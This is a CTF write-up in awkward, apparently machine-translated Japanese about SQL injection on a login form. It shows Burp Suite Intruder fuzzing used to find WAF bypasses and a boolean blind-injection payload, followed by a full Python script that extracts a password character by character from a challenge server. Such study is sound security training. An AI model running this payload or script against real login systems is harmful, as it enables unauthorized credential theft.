【CTF】Burpsuite FuzzによるSQL注入


私も萌新です.もっと萌新に話してください.おじいさんはこの編を省略することができます.
今日は同級生からsql注入問題をもらいましたが、最近burpsuite fuzzの機能を勉強したことを思い出して、ちょうど手を練習することができます.
0 x 01注入前分析
典型的なログインボックスSQL注入問題です
ソースにhintも
まず注入前の試みを行い,エラーが報告されているか,あるいはwafがあるかを観察する.
通常の入力は、2つのケースに分けられます.
  • ユーザー名が正しい、パスワードエラーpassword error
  • を表示
  • ユーザー名エラー、このユーザーがいないno such user!
  • を表示します.
    ユーザー名の検証とパスワードの検証は段階的に行われていると推測されます.文は次のとおりです.
    select uname from user where uname='xxx'
    select uname,pwd from user where uname='xxx' and pwd='xxx'

    注入が存在する場合、naiveを示し、wafがあることを証明した.
    簡単にwafをテストしたところ、or and union select from limit , が濾過されていることがわかりました.母耶wafはまだ厳しいので、その後は手動テストに合格したくないのでburpsuiteでFuzzテストを行いました.
    0x02 Burpsuite Fuzzing
    Burpsuite Fuzzingは主にBurpsuite Intruder を通過し、これは銃のようなもので、特定の設定を通じて弾丸(payload)を目標(target-site)に射撃する.
    でも弾丸はどこから来たの?私たちはその前にいくつかの準備をしなければなりません.
    Fuzzdb: https://github.com/fuzzdb-pro...
    これはfuzzテストのpayloadライブラリで、上には大量のテストpayloadがあり、非常に実用的で、私たちは今回のsql注入でそれを使用しました.
    このpayloadを使えばいいです/attack/sql-injection/detect/xplatform.txt
    次にBurpsuiteを開き、エージェントを開いて通常のリクエストパッケージをつかみ、Intruderモジュールに移動して次の操作を行います.
  • positionsタブを選択し、unameの値部分adminを選択し、右側のadd§をクリックすると、unameの値はpayloadのロード位置としてマークされ、残りの部分はマークする必要はありません.
  • payloadsタブを選択し、図に示すボタンをクリックして先ほど述べたxplatform.txtをロードすると、payloadがロードされます.
  • optionsタブを選択し、リクエストスレッド数、再試行回数、タイムアウト時間などの情報を設定します.
  • 最後に上のメニューIntruder -> Start attackをクリックして、起動します!

  • fuzzが完了するのを待って、次の結果が得られます.
    戻りパケット長によって異なる状況を見分けることができる:202はpassword error200はno such user!であり、189はnaiveである.
    したがって,利用可能な箇所があり,42番目のリクエストパケットの返信ユーザ名が正しく,wafを迂回したことを証明する.
    利用可能なpayloadがなければ、189のパケットを再観察して、banによって削除されたフィールドを見て、利用可能なフィールドを見つけることができます.前期の手測の状況とfuzzの結果を結びつけて、判断することができます:
    使用可能:# || && , ascii() left() right() length()使用不可: -- or and union select from limit mid() substr() substring()構造payloadは、xxxがpayloadであり、xxxが真である場合password errorを返し、xxxが偽である場合no such userを返し、bool型注入を構成する.
    uname='||xxx||'&pwd=123   

    次に注入を開始することができます.
    0 x 03 Blind Injectionの自動注入
    このステップからboolブラインドでpwdフィールドを爆破し、スクリプトが走り始めました.
  • length()によりpwdフィールド長
    for i in xrange(1,127):
        postdata = {
            'uname':"'||length(pwd)="+str(i)+"||'",
            'pwd':'123'
        }
        print i,postdata
        r = s.post(url=url,headers=header,data=postdata)
        if 'password' in r.text:
            print "get length!"
            return 
    が得られ、最終的にlength(pwd)=30が得られる
    把握できないときはhintのヒントを思い浮かべてlength(uname)=5あなたのpayloadを検証します.以下も同じです.
  • mid() substr()がbanされたため、left() right()で文字列切断しかできず、30ビットのpwd
    pwd = ''
    for i in xrange(0,30):
        for c in xrange(0x20,0x7f):
            postdata = {
                'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                'pwd':'123'
            }
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                pwd += chr(c)
                print i,pwd
                continue
    を1ビットずつ爆破して最後に30ビットのパスワードを得て、登録して、getflag
    PS:マルチスレッドを書いていないので、爆破速度が遅いので、後で改善を考えます
    PPS:その後、mid()=substr()=right(left())などの各種関数の組み合わせの使用方法をまとめます.
    完全なスクリプトは次のとおりです:
    #coding=utf-8
    import requests 
    
    s = requests.session()
    s.keep_alive = False
    
    url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    
    header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    def get_length():
        for i in xrange(1,127):
            postdata = {
                'uname':"'||length(pwd)="+str(i)+"||'",
                'pwd':'123'
            }
            print i,postdata
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                print "get length!"
                return 
    
    def get_pwd_char():
        pwd = ''
        for i in xrange(0,30):
            for c in xrange(0x20,0x7f):
                postdata = {
                    'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                    'pwd':'123'
                }
                r = s.post(url=url,headers=header,data=postdata)
                if 'password' in r.text:
                    pwd += chr(c)
                    print i,pwd
                    continue
    
    if __name__ == '__main__':
        get_length() #length is 30
        get_pwd_char() 
  • 0 x 04まとめて
  • burpsuiteを利用してfuzzテストを行い、テスト効率を大幅に向上させ、注入点を迅速に位置決めすることができ、この面では普段の試合問題でも実用的で、肝心なのは使いやすいfuzz payloadを見つけることだ.
  • 各種sql関数を柔軟に使用し、banの関数によって構造されていないことを見つけて爆破を実現し、他のタイプのwafに遭遇した場合、書き換えを行う.

  • bugkuCTFには似たようなSQL注入2があるそうですが、過去に比較してみると